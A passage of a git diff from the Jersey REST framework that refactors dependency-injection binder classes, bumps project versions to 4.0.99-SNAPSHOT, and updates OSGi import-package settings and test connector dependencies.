 import org.glassfish.hk2.utilities.ServiceLocatorUtilities;
+import org.glassfish.jersey.internal.inject.Binding;
 
 /**
  * Implementation of {@link org.glassfish.jersey.internal.inject.InjectionManager} that is able to delay service's registration
@@ -37,7 +37,7 @@
  *
  * @author Petr Bouda
  */
-public class DelayedHk2InjectionManager extends AbstractHk2InjectionManager {
+public final class DelayedHk2InjectionManager extends AbstractHk2InjectionManager {
 
     // Keeps all binders and bindings added to the InjectionManager during the bootstrap.
     private final AbstractBinder bindings = new AbstractBinder() {
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2Helper.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2Helper.java
index bf3c229..4ff3b46 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2Helper.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2Helper.java
@@ -24,18 +24,17 @@
 import java.util.function.Supplier;
 
 import org.glassfish.hk2.api.Factory;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InjectionResolverBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.inject.AliasBinding;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.InjectionResolverBinding;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.PerLookup;
 import org.glassfish.jersey.internal.inject.PerThread;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import org.glassfish.hk2.api.ActiveDescriptor;
 import org.glassfish.hk2.api.DynamicConfiguration;
@@ -162,7 +161,7 @@
     @SuppressWarnings("unchecked")
     private static ActiveDescriptor<?> wrapInjectionResolver(InjectionResolverBinding resolverDescriptor) {
         InjectionResolverWrapper<?> wrappedResolver = new InjectionResolverWrapper<>(resolverDescriptor.getResolver());
-        return translateToActiveDescriptor(Bindings.service(wrappedResolver),
+        return translateToActiveDescriptor(org.glassfish.jersey.innate.inject.Bindings.service(wrappedResolver),
                 new ParameterizedTypeImpl(InjectionResolver.class, resolverDescriptor.getResolver().getAnnotation()));
     }
 
@@ -390,7 +389,7 @@
     }
 
     /**
-     * Creates a new binder and automatically use it to bind the the descriptors in {@code bindConsumer}.
+     * Creates a new binder and automatically use it to bind the descriptors in {@code bindConsumer}.
      *
      * @param bindConsumer consumer used to process the defined operation with a binder.
      * @return populated binder.
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2InjectionManagerFactory.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2InjectionManagerFactory.java
index ce30dd1..b9f07c4 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2InjectionManagerFactory.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2InjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,8 +19,8 @@
 import java.security.AccessController;
 
 import jakarta.annotation.Priority;
+import jakarta.ws.rs.core.Configuration;
 
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionManagerFactory;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
@@ -73,6 +73,11 @@
         return initInjectionManager(getStrategy().createInjectionManager(parent));
     }
 
+    @Override
+    public InjectionManager create(Object parent, Configuration configuration) {
+        return create(parent); // ignore configuration for HK2
+    }
+
     /**
      * Check HK2 Strategy property {@link #HK2_INJECTION_MANAGER_STRATEGY} and returns {@code true} if the current HK2 Strategy is
      * "immediate".
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/ImmediateHk2InjectionManager.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/ImmediateHk2InjectionManager.java
index 8d6ee81..eb52454 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/ImmediateHk2InjectionManager.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/ImmediateHk2InjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,7 @@
  *
  * @author Petr Bouda
  */
-public class ImmediateHk2InjectionManager extends AbstractHk2InjectionManager {
+public final class ImmediateHk2InjectionManager extends AbstractHk2InjectionManager {
 
     /**
      * Constructor with parent.
diff --git a/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/BindingTestHelper.java b/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/BindingTestHelper.java
index de42a63..8026ddf 100644
--- a/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/BindingTestHelper.java
+++ b/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/BindingTestHelper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,6 @@
 
 import java.util.function.Consumer;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 
diff --git a/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/InjectionManagerTest.java b/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/InjectionManagerTest.java
index 57a5d49..2e5b756 100644
--- a/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/InjectionManagerTest.java
+++ b/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/InjectionManagerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,7 @@
 
 package org.glassfish.jersey.inject.hk2;
 
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 
@@ -54,7 +53,7 @@
 
     @Test
     public void testInjectionManagerParent() {
-        ClassBinding<EnglishGreeting> greetingBinding = Bindings.serviceAsContract(EnglishGreeting.class);
+        Binding greetingBinding = Bindings.serviceAsContract(EnglishGreeting.class);
         InjectionManager parentInjectionManager = Injections.createInjectionManager();
         parentInjectionManager.register(greetingBinding);
         parentInjectionManager.completeRegistration();
@@ -76,7 +75,7 @@
         InjectionManager injectionManager = Injections.createInjectionManager();
         assertTrue(injectionManager.isRegistrable(Binder.class));
         assertTrue(injectionManager.isRegistrable(AbstractBinder.class));
-        assertFalse(injectionManager.isRegistrable(org.glassfish.jersey.internal.inject.AbstractBinder.class));
+        assertFalse(injectionManager.isRegistrable(org.glassfish.jersey.inject.hk2.AbstractBinder.class));
         assertFalse(injectionManager.isRegistrable(String.class));
     }
 
diff --git a/inject/pom.xml b/inject/pom.xml
index c7eaebd..935adbd 100644
--- a/inject/pom.xml
+++ b/inject/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.inject</groupId>
diff --git a/media/jaxb/pom.xml b/media/jaxb/pom.xml
index 08c6bcd..9c4c921 100644
--- a/media/jaxb/pom.xml
+++ b/media/jaxb/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-jaxb</artifactId>
@@ -89,7 +89,11 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
-                        <Import-Package>jakarta.xml.bind.*;version="!",*</Import-Package>
+                        <Import-Package>
+                            jakarta.xml.bind.*;version="!",
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                         <Export-Package>org.glassfish.jersey.jaxb.*;version=${project.version}</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbMessagingBinder.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbMessagingBinder.java
index 2cf6ce3..add3526 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbMessagingBinder.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbMessagingBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
 import javax.xml.stream.XMLInputFactory;
 import javax.xml.transform.TransformerFactory;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.PerThread;
 
 /**
@@ -33,7 +33,7 @@
  *
  * @author Jakub Podlesak
  */
-public class JaxbMessagingBinder extends AbstractBinder {
+public class JaxbMessagingBinder extends InternalBinder {
 
     @Override
     protected void configure() {
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbParamConverterBinder.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbParamConverterBinder.java
index e20aa22..6270670 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbParamConverterBinder.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbParamConverterBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 /**
  * Binder for JAXB parameter converter.
@@ -30,7 +30,7 @@
  * @author Jakub Podlesak
  */
 @ConstrainedTo(RuntimeType.SERVER)
-public class JaxbParamConverterBinder extends AbstractBinder {
+public class JaxbParamConverterBinder extends InternalBinder {
 
     @Override
     protected void configure() {
diff --git a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/FeatureAndPropertySupplierTest.java b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/FeatureAndPropertySupplierTest.java
index 5079201..3f6a27f 100644
--- a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/FeatureAndPropertySupplierTest.java
+++ b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/FeatureAndPropertySupplierTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.jaxb.internal;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.PerThread;
 import org.glassfish.jersey.jaxb.FeatureSupplier;
diff --git a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SaxParserFactoryInjectionProviderTest.java b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SaxParserFactoryInjectionProviderTest.java
index be7cc9a..f647067 100644
--- a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SaxParserFactoryInjectionProviderTest.java
+++ b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SaxParserFactoryInjectionProviderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,9 +35,9 @@
 import jakarta.inject.Singleton;
 import javax.xml.parsers.SAXParserFactory;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.CompositeBinder;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.CompositeBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.PerThread;
diff --git a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SourceProviderTest.java b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SourceProviderTest.java
index 9f4fa5b..87e9b0e 100644
--- a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SourceProviderTest.java
+++ b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SourceProviderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 import javax.xml.transform.sax.SAXSource;
 import javax.xml.transform.stream.StreamResult;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.message.internal.SourceProvider;
 
diff --git a/media/json-binding/pom.xml b/media/json-binding/pom.xml
index 17ebe68..fed93d2 100644
--- a/media/json-binding/pom.xml
+++ b/media/json-binding/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-binding</artifactId>
@@ -54,7 +54,11 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.jsonb.*</Export-Package>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonbDisabledTest.java b/media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonbDisabledTest.java
index 7dc8a3f..6097365 100644
--- a/media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonbDisabledTest.java
+++ b/media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonbDisabledTest.java
@@ -17,7 +17,7 @@
 package org.glassfish.jersey.jsonb.internal;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionManagerSupplier;
 import org.glassfish.jersey.internal.inject.Injections;
diff --git a/media/json-gson/pom.xml b/media/json-gson/pom.xml
index 2a3b5db..f432c7c 100644
--- a/media/json-gson/pom.xml
+++ b/media/json-gson/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-gson</artifactId>
@@ -54,7 +54,11 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.gson.*</Export-Package>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/media/json-jackson/pom.xml b/media/json-jackson/pom.xml
index 3c72532..fca25af 100644
--- a/media/json-jackson/pom.xml
+++ b/media/json-jackson/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-jackson</artifactId>
@@ -79,8 +79,7 @@
                         <Export-Package>org.glassfish.jersey.jackson.*</Export-Package>
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
-                            <!-- compatibility with GF 5.1 -->
-                            <!-- com.fasterxml.jackson.*;version="[2.9,3)", -->
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/JacksonFilteringFeature.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/JacksonFilteringFeature.java
index 0279b12..44d064c 100644
--- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/JacksonFilteringFeature.java
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/JacksonFilteringFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.message.filtering.spi.ObjectGraphTransformer;
 import org.glassfish.jersey.message.filtering.spi.ObjectProvider;
 
@@ -47,7 +47,7 @@
         return false;
     }
 
-    private static final class Binder extends AbstractBinder {
+    private static final class Binder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/media/json-jackson1/pom.xml b/media/json-jackson1/pom.xml
deleted file mode 100644
index e69de29..0000000
--- a/media/json-jackson1/pom.xml
+++ /dev/null
diff --git a/media/json-jettison/pom.xml b/media/json-jettison/pom.xml
index 2c47470..dd00173 100644
--- a/media/json-jettison/pom.xml
+++ b/media/json-jettison/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-jettison</artifactId>
@@ -56,6 +56,7 @@
                         <!-- Explicitly set versions for packages from GlassFish to allow future uptake of GlassFish 7.x-->
                         <Import-Package>
                             jakarta.xml.bind.*;version="[3.0,5)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     
diff --git a/media/json-processing/pom.xml b/media/json-processing/pom.xml
index f5dd4d8..d173dde 100644
--- a/media/json-processing/pom.xml
+++ b/media/json-processing/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-processing</artifactId>
@@ -58,6 +58,7 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             jakarta.json.*;version="[2,3)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/media/moxy/pom.xml b/media/moxy/pom.xml
index abd6550..9c59390 100644
--- a/media/moxy/pom.xml
+++ b/media/moxy/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-moxy</artifactId>
@@ -56,7 +56,11 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.moxy.*</Export-Package>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
@@ -90,11 +94,12 @@
             <artifactId>parsson</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.ow2.asm</groupId>
-            <artifactId>asm</artifactId>
-            <version>${asm.version}</version>
+            <groupId>org.eclipse.persistence</groupId>
+            <artifactId>org.eclipse.persistence.asm</artifactId>
+            <version>${moxy.asm.version}</version>
         </dependency>
 
+
         <dependency>
             <groupId>jakarta.xml.bind</groupId>
             <artifactId>jakarta.xml.bind-api</artifactId>
diff --git a/media/moxy/src/main/java/org/glassfish/jersey/moxy/internal/MoxyFilteringFeature.java b/media/moxy/src/main/java/org/glassfish/jersey/moxy/internal/MoxyFilteringFeature.java
index 7c9d86a..936e15c 100644
--- a/media/moxy/src/main/java/org/glassfish/jersey/moxy/internal/MoxyFilteringFeature.java
+++ b/media/moxy/src/main/java/org/glassfish/jersey/moxy/internal/MoxyFilteringFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.message.filtering.spi.ObjectGraphTransformer;
 import org.glassfish.jersey.message.filtering.spi.ObjectProvider;
 
@@ -47,7 +47,7 @@
         return false;
     }
 
-    private static final class Binder extends AbstractBinder {
+    private static final class Binder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/media/multipart/pom.xml b/media/multipart/pom.xml
index a54c329..9fdedde 100644
--- a/media/multipart/pom.xml
+++ b/media/multipart/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-multipart</artifactId>
@@ -49,6 +49,15 @@
             <plugin>
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
                 <inherited>true</inherited>
             </plugin>
         </plugins>
@@ -82,7 +91,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
@@ -98,42 +107,12 @@
             <artifactId>junit-jupiter</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jetty-connector</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty11</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty-connector</artifactId>
-                    <version>${project.version}</version>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-    </profiles>
 </project>
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamInjectionFeature.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamInjectionFeature.java
index 843473b..c1f9ddf 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamInjectionFeature.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamInjectionFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,8 +23,8 @@
 
 import jakarta.inject.Provider;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.media.multipart.FormDataParam;
 import org.glassfish.jersey.server.ContainerRequest;
 import org.glassfish.jersey.server.internal.inject.MultivaluedParameterExtractorProvider;
@@ -41,7 +41,7 @@
 
     @Override
     public boolean configure(FeatureContext context) {
-        context.register(new AbstractBinder() {
+        context.register(new InternalBinder() {
             @Override
             protected void configure() {
                 Provider<MultivaluedParameterExtractorProvider> extractorProvider =
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MultipartMixedWithApacheClientTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MultipartMixedWithApacheClientTest.java
index 180bd85..db0eee2 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MultipartMixedWithApacheClientTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MultipartMixedWithApacheClientTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,7 +29,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.MediaType;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -51,7 +51,7 @@
 
     @Override
     protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
+        config.connectorProvider(new Apache5ConnectorProvider());
         config.register(MultiPartFeature.class);
     }
 
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
index e6ff2ed..abbd817 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -31,7 +31,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.MediaType;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
